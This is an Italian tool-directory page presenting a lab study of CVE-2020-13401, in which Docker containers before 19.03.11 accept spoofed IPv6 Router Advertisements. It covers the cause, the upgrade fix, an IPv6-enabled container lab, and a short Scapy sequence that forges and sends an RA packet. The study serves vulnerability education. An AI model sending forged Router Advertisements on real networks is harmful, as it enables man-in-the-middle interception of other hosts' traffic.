Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Docker-Container-CVE-2020-13401 — Studio sulla vulnerabilità CVE-2020-13401 dei container in docker precedenti alla versione 19.03.11 | Kitploit
Strumenti/GitHubGitHub/arax-zaeimi/docker-container-cve-2020-13401
Sniffing e Analisi dei PacchettiSicurezza dei ContenitoriAnalisi delle VulnerabilitàSicurezza di ReteApprendimento e FormazioneLab e Pratica
GitHubarax-zaeimi/docker-container-cve-2020-13401

Docker-Container-CVE-2020-13401

Studio sulla vulnerabilità CVE-2020-13401 dei container in docker precedenti alla versione 19.03.11

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
215 anni faNon ancora revisionato

Studio su CVE-2020-13401

Studio sulla vulnerabilità CVE-2020-13401 dei container in Docker precedenti alla versione 19.03.11

I container creati con versioni di Docker Engine precedenti alla 19.03.11 sono vulnerabili alla ricezione e all'applicazione di messaggi RA (Router Advertisement) fasulli provenienti da altri container nella rete. Ricevere RA è un comportamento normale del sistema operativo, ma se il mittente dell'RA non è fidato nella rete, il container vittima può ricevere il messaggio, unirsi alla rete e quindi inviare tutti i pacchetti di rete al nuovo router falso (attacco man-in-the-middle). Questo problema non riguarda IPv4 ed è basato su IPv6.

Fonte originale dell'item CVE: CVE-2020-13401

Perché accade?

Nei Docker Engine precedenti alla 19.03.11, i container accettano messaggi RA per impostazione predefinita. Considera che c'è un altro container nella rete con la capacità CAP_NET_RAW. Ciò significa che questo container può creare qualsiasi pacchetto di rete e inviarlo alla rete. Quindi, questo container può essere usato come fonte di creazione di pacchetti. Nelle versioni più recenti, i container non accettano messaggi RA a meno che questa funzionalità non sia abilitata su docker engine. Quindi, il sistema potrebbe essere ancora vulnerabile se un amministratore decide di abilitare questa funzionalità.

Soluzione

È fortemente raccomandato aggiornare Docker Engine per proteggere l'ambiente dei tuoi container da questa vulnerabilità.

Simulare la Vulnerabilità

In questo studio voglio dimostrare come si verifica questa vulnerabilità e vedere come il nostro container è influenzato dal messaggio RA

Requisiti

  • Docker Engine precedente alla 19.03.11
  • Immagini Docker Ubuntu
  • IPv6 abilitato sulla macchina host
  • Docker Engine configurato per la funzionalità IPv6
  • Strumento di IP Spoofing Scapy

Nei container in esecuzione, ho testato per verificare se IPv6 funziona. Ma ho scoperto che non c'è supporto IPv6 per impostazione predefinita nel mio container. Per impostazione predefinita, tutti i container docker sono connessi a una rete bridge e questa rete non supporta IPv6. Per abilitare IPv6 per docker è necessario aggiungere un file daemon.json al percorso /etc/docker/. Il contenuto di questo file dovrebbe essere il seguente:

root@kitploit:~
{  "ipv6": true, "fixed-cidr-v6": "fd00::/80" }

È possibile assegnare qualsiasi indirizzo di sottorete IPv6 valido. Quindi docker deve essere riavviato e leggere nuovamente il file daemon da zero per configurare la sua rete bridge predefinita. Inoltre, è possibile definire una nuova rete per supportare IPv6.

Comandi per ricaricare la configurazione e riavviare docker:

  • $ sudo systemctl daemon-reload
  • $ sudo systemctl restart docker

Creazione dei Container

Finora abbiamo un Docker che supporta IPv6 ed è il momento di creare i container per avviare la simulazione. Abbiamo bisogno di almeno 2 container. Li chiamo Ubuntu_1 e Ubuntu_2. Sulla tua macchina host usa i seguenti comandi per creare i tuoi container:

root@kitploit:~
$ docker pull ubuntu

$ docker run --name ubuntu_1 -i -t ubuntu bash 

$ docker run --name ubuntu_2 -i -t ubuntu bash 

Elenca i tuoi container usando questo comando:

root@kitploit:~
$ docker container ls -a

Usa i nomi dei tuoi container per eseguirli:

root@kitploit:~
$ docker container start -ai [CONTAINER NAME]

Su entrambi i container hai bisogno di alcuni strumenti di base come:

StrumentoComando di Installazione

Installa gli strumenti richiesti e verifica se i tuoi container sono connessi. Per fare ciò, ottieni l'IP del tuo container e le informazioni sulle interfacce usando il comando ifconfig. Quindi esegui ping -6 [IPv6 di destinazione] verso l'altro container per assicurarti che siano connessi. Inoltre, puoi usare tcpdump sul container di destinazione per vedere i pacchetti ping ricevuti. (Assicurati di usare IPv6 per eseguire il ping dei container)

Obiettivo Principale:

Vogliamo inviare un messaggio RA manipolato da uno dei container nella rete e aggiornare la tabella IP (IpTable) della vittima.

Creare un Messaggio RA Usando Scapy

Sto usando SCAPY per creare messaggi di annuncio router IPv6. Scapy è basato su Python. I passaggi di installazione sono i seguenti:

  • Installa Python (ubuntu 20.04 viene fornito con python già installato, lo aggiornerò solo)
  • Installa Scapy $ sudo apt install python3-scapy

Un pacchetto RA è un pacchetto broadcast, e significa che deve essere consegnato a tutti i nodi della rete. Inoltre, è basato sulle regole IPv6. Quindi, l'indirizzo di destinazione è ff01::1 e il protocollo è basato su ICMPv6.

Esegui Scapy:

$ scapy

Uso questi comandi per creare e inviare il pacchetto alla rete:

root@kitploit:~
a = IPv6()            

a.dst = "ff02::1" 

a.display() 

b = ICMPv6ND_RA() 

b.display()  

c = ICMPv6NDOptSrcLLAddr() 

c.lladdr = "02:42:ac:11:00:02" 

c.display() 

d = ICMPv6NDOptMTU() 

d.display() 

e = ICMPv6NDOptPrefixInfo() 

e.prefixlen = 64  

e.prefix = "d00d::" 

e.display()  

send(a/b/c/d/e) 

Dopo aver inviato il pacchetto, vai agli altri container e usa ifconfig di nuovo. Vedrai che la tua tabella IP (IpTable) viene aggiornata dopo aver ricevuto i messaggi RA.

Le Mie Immagini Docker

Puoi fare il pull delle mie immagini docker personalizzate per testare e studiare questo problema: Le mie immagini Docker personalizzate

Scarica lo strumento
nano (o qualsiasi altro editor)
apt-get install nano
net-toolsapt-get install net-tools
hping3apt-get install hping3
tcpdumpapt-get install tcpdump
scapyapt install python3-scapy (installa solo su 1 container)